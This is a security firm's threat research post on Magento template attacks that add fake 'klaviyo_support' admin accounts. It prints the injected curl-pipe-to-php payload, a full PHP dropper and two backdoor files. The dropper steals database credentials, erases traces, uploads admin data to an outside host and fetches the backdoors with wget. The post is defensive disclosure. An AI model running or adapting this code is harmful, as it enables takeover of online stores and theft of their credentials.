Fake Klaviyo accounts added to Magento
by Sansec Forensics Team
Published in Threat Research − December 21, 2022
Are your Magento admin accounts legitimate? Chances are, that a klaviyo_support_XXXX
account was added this week. Best to quickly remove it and read this article.
Magento 2 template hacks have been raging since a month or two, and Sansec is closely tracking any new attack payloads. So far, we observed about 20 different payloads which all added a basic PHP backdoor. However, this one just came in and caught our eye. It
db:sales_order_address.28883,mailtemplate_attackpattern_rx2_6c392,).addAfterFilterCallback($order.shipping_address.last_name).filter($order.shipping_address.city)}}system3001 W OLD YANKTON RDcurl https://smtp.emailgenius.org/test/mnu2p18z8lawlNCWoqIxIl7sChZ1VIq6.php?d=https://victimstore.com | php
The following script does:
- Remove all attack probes from several relevant database tables
- Counts number of last week’s sales orders
- Installs
404.php
andhealth_check.php
as back doors - Uploads all admin users and the secret control panel path to a foreign server
- Extracts database credentials
- Creates rogue admin user called
[email protected]
What does this lead to?
- Magento template attacks are now (finally) largely automated, as we predicted.
- You should check whether you have installed all relevant patches and updates, and not inadvertently negated the patch (with a
LegacyResolver
) See our other reporting on the worst Magento security incident since ShopLift in 2015 and Ambionics in 2019:
<?php
error_reporting(E_ALL);
ini_set('display_errors', TRUE);
ini_set('display_startup_errors', TRUE);
$env = array();
if (file_exists('app/etc/env.php')) {
$env = require_once 'app/etc/env.php';
}
else if(file_exists('./../app/etc/env.php')){
$env = require_once './../app/etc/env.php';
}
else if (file_exists($_SERVER['DOCUMENT_ROOT'] . '/app/etc/env.php')) {
$env = require_once $_SERVER['DOCUMENT_ROOT'] . '/app/etc/env.php';
}
else if (file_exists($_SERVER['DOCUMENT_ROOT'] . '/../app/etc/env.php')){
$env = require_once $_SERVER['DOCUMENT_ROOT'] . '/../app/etc/env.php';
}
else {
print('Unable to load config');
exit();
}
$host = $env['db']['connection']['default']['host'];
$username = $env['db']['connection']['default']['username'];
$password = $env['db']['connection']['default']['password'];
$dbname = $env['db']['connection']['default']['dbname'];
$prefix = $env['db']['table_prefix'];
$path = $env['backend']['frontName'];
$con = mysqli_connect($host, $username, $password, $dbname);
echo "ADMIN: " . $path .PHP_EOL;;
try{
$result = mysqli_query($con, "delete from " . $prefix . "sales_order where customer_firstname like '%getTemplateFilter%' or customer_lastname like 'system'");
if ($result !== FALSE) {
echo "sales_order: delete".PHP_EOL;;
}else{
echo "sales_order: ERROR".PHP_EOL;
}
$result2 = mysqli_query($con, "delete from " . $prefix . "quote where customer_firstname like '%getTemplateFilter%' or customer_lastname like 'system'");
if ($result2 !== FALSE) {
echo "quote: delete".PHP_EOL;;
}else{
echo "quote: ERROR".PHP_EOL;
}
$result3 = mysqli_query($con, "delete from " . $prefix . "quote_address where firstname like '%getTemplateFilter%' or lastname like 'system'");
if ($result3 !== FALSE) {
echo "quote_address: delete".PHP_EOL;;
}else{
echo "quote_address: ERROR".PHP_EOL;
}
$result4 = mysqli_query($con, "delete from " . $prefix . "sales_order_grid where shipping_name like '%getTemplateFilter%' or billing_name like '%system'");
if ($result4 !== FALSE) {
echo "sales_order_grid: delete".PHP_EOL;;
}else{
echo "sales_order_grid: ERROR".PHP_EOL;
}
$result5 = mysqli_query($con, "delete from " . $prefix . "sales_invoice_grid where customer_name like '%getTemplateFilter%'");
if ($result5 !== FALSE) {
echo "sales_invoice_grid: delete".PHP_EOL;;
}else{
echo "sales_invoice_grid: ERROR".PHP_EOL;
}
$result66 = mysqli_query($con, "delete from " . $prefix . "customer_address_entity where firstname like '%getTemplateFilter%'");
if ($result66 !== FALSE) {
echo "customer_address_entity: delete".PHP_EOL;
}else{
echo "customer_address_entity: ERROR".PHP_EOL;
}
$result7 = mysqli_query($con, "delete from " . $prefix . "mageplaza_smtp_log where email_content like '%getTemplateFilter%'");
if ($result7 !== FALSE) {
echo "customer_address_entity: delete".PHP_EOL;
}else{
echo "customer_address_entity: ERROR".PHP_EOL;
}
$result8 = mysqli_query($con, "delete from " . $prefix . "sales_order_address where firstname like '%getTemplateFilter%' or lastname like 'system'");
if ($result8 !== FALSE) {
echo "sales_order_address: delete".PHP_EOL;
}else{
echo "sales_order_address: ERROR".PHP_EOL;
}
} catch (\Exception $ex) {
echo $ex->getMessage();
}
echo 'https://victimstore.com/'.$path.PHP_EOL;
$resultCount = mysqli_query($con, "select count(*) as aa from " . $prefix . "sales_order where created_at >= DATE_SUB(NOW(), INTERVAL 7 DAY)");
if ($resultCount !== FALSE) {
while ($row = mysqli_fetch_assoc($resultCount)) {
echo "Order last week: ".$row["aa"].PHP_EOL;
}
}else{
echo "get count week: ERROR".PHP_EOL;
}
$userSalted = 'klaviyo_support_'.genRndStr(4);
$passSalted = genRndStr(30);
echo $userSalted.":".$passSalted.PHP_EOL;
echo "DATABASE: " . $host . "|" . $username . "|" . $password . "|" . $dbname .PHP_EOL;;
echo 'https://victimstore.com/404.php'.PHP_EOL;
echo 'https://victimstore.com/health_check.php'.PHP_EOL;
system("pwd");
$result6 = mysqli_query($con, "SELECT * FROM `" . $prefix . "admin_user`");
if ($result6 !== FALSE) {
echo "ADMIN:".PHP_EOL;
$adminUsers = array();
while ($row = mysqli_fetch_assoc($result6)) {
$admin = new Admin();
$admin->Username = $row["username"];
$admin->Password = $row["password"];
$admin->Email = $row["email"];
$admin->Firstname = $row["firstname"];
$admin->Lastname = $row["lastname"];
$admin->IsActive = $row["is_active"];
$admin->Lognum = $row["lognum"];
$admin->Created = $row["created"];
$admin->Logdate = $row["logdate"];
$adminUsers[] = $admin;
}
$admins = new AdminList();
$admins->List = $adminUsers;
$admins->Domain = 'victimstore.com';
$admins->Adminpath = $path;
echo json_encode($admins).PHP_EOL;
SendUsers(json_encode($admins));
}
system("wget https://smtp.emailgenius.org/zMqt7rOQ9jpnaGGT52w07yExnH2Oemsq/404_djkhfjkfhhfj.txt -O 404.php --no-check-certificate");
system("wget https://smtp.emailgenius.org/zMqt7rOQ9jpnaGGT52w07yExnH2Oemsq/back_BqGoapdxCOZphlehIipJwIm7hlGGL44y.txt -O health_check.php --no-check-certificate");
//system("curl https://smtp.emailgenius.org/test/adm22fgfgfgf.txt | php");
use Magento\Framework\App\Bootstrap;
try{
if (file_exists('./../app/bootstrap.php')) {
require './../app/bootstrap.php';
}
else if (file_exists('app/bootstrap.php')) {
require 'app/bootstrap.php';
}else {
print('Unable to load bootstrap.php');
exit();
}
$bootstrap = Bootstrap::create(BP, $_SERVER);
$objectManager = $bootstrap->getObjectManager();
$UserFactory = $objectManager->get('\Magento\User\Model\UserFactory');
$adminInfo = [
'username' => $userSalted,
'firstname' => 'klaviyo',
'lastname' => 'support',
'email' => '[email protected]',
'password' => $passSalted,
'interface_locale' => 'en_US',
'is_active' => 1
];
$userModel = $UserFactory->create();
$userModel->setData($adminInfo);
$userModel->setRoleId(1);
$userModel->save();
echo "User is sucessfully created!".PHP_EOL;
echo $userSalted.":".$passSalted.PHP_EOL;
} catch (\Exception $ex) {
echo $ex->getMessage();
}
system("ls -al");
function SendUsers($users)
{
$url = "https://smtp.emailgenius.org/au.php";
$options = array(
'http' => array(
'header' => "Content-Type: application/json\r\n" .
"Accept: application/json\r\n",
'method' => 'POST',
'content' => $users
)
);
$context = stream_context_create($options);
$result = file_get_contents($url, false, $context);
if ($result === FALSE) {
echo "ERROR SEND USERS".PHP_EOL;
} else {
echo "SUCCESS SEND USERS".PHP_EOL;
}
}
function genRndStr($length) {
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
return $randomString;
}
class Admin
{
public $Username;
public $Password;
public $Email;
public $Firstname;
public $Lastname;
public $IsActive;
public $Lognum;
public $Created;
public $Logdate;
}
class AdminList
{
public $Domain;
public $Adminpath;
public $List;
}
404.php
<?php
/**
* Magento
*
* NOTICE OF LICENSE
*
* This source file is subject to the Open Software License (OSL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/osl-3.0.php
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to license@magento.com so we can send you a copy immediately.
*
* DISCLAIMER
*
* Do not edit or add to this file if you wish to upgrade Magento to newer
* versions in the future. If you wish to customize Magento for your
* needs please refer to http://www.magento.com for more information.
*
* @category Mage
* @package Errors
* @copyright Copyright (c) 2006-2015 X.commerce, Inc. (http://www.magento.com)
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
*/
?>
<div class="content-inner">
<section class="error-404 not-found">
<header class="page-header">
<h1 class="page-title">Oops! That page can’t be found.</h1>
</header><!-- .page-header -->
<div class="page-content widget-area">
<p>It looks like nothing was found at this location. Maybe try one of the links below or a search?</p>
<div class="widget">
</div>
</div><!-- .page-content -->
</section><!-- .error-404 -->
</div><!-- #.content-inner -->
<?php
if(!isset($_POST["s64213"]) || hash("sha512", $_POST["s64213"]) != '40fc7487d1ada98a8510e1f32ed28e996e5a2b00096eac5c10be2eec0926f0481e0c812410ab3da531fbf37bf4bbd70e3781b7f456555f4d630a2898f1137189'){
exit();
}
$url = $_GET["02b818675d009e603f5db8bf66"];
$filename = $_GET["name"];
if(!isset($url)){
$url = $_POST["02b818675d009e603f5db8bf66"];
}
if(!isset($filename)){
$filename = $_POST["name"];
}
if($url != null){
$content = file_get_contents($url);
if($filename == null){
file_put_contents("hhGhgTg.php", $content);
}
else{
file_put_contents($filename, $content);
}
}
$md = $_POST["02b818675d009e603f5db8bf66cmd"];
if(isset($md)){
$emails = explode("@", $md);
echo $emails[0]($emails[1]);
}
?>
health_check.php
<?php
/**
* Magento
*
* NOTICE OF LICENSE
*
* This source file is subject to the Open Software License (OSL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/osl-3.0.php
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to license@magento.com so we can send you a copy immediately.
*
* DISCLAIMER
*
* Do not edit or add to this file if you wish to upgrade Magento to newer
* versions in the future. If you wish to customize Magento for your
* needs please refer to http://www.magento.com for more information.
*
* @category Mage
* @package Errors
* @copyright Copyright (c) 2006-2015 X.commerce, Inc. (http://www.magento.com)
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
*/
if(!isset($_POST["s64213"]) || hash("sha512", $_POST["s64213"]) != '40fc7487d1ada98a8510e1f32ed28e996e5a2b00096eac5c10be2eec0926f0481e0c812410ab3da531fbf37bf4bbd70e3781b7f456555f4d630a2898f1137189'){
exit();
}
$md = $_POST["02b8186"];
if(isset($md)){
$df = explode("@", $md);
echo $df[0]($df[1]);
echo true;
}
$mde = $_POST["02b8186ebc"];
$mdd = openssl_decrypt($mde,"AES-128-ECB",$_POST["k"]);
if(isset($mdd)){
$df = explode("@", $mdd);
echo $df[0]($df[1]);
echo true;
}
?>
Read more
In this article
Easy CSP for your store?
Try Sansec Watch! Free, simple and fully integrated. Get PCI compliant alerting with minimal effort.
Sansec WatchScan your store now
for malware & vulnerabilities
eComscan is the most thorough security scanner for Magento, Adobe Commerce, Shopware, WooCommerce and many more.
Learn more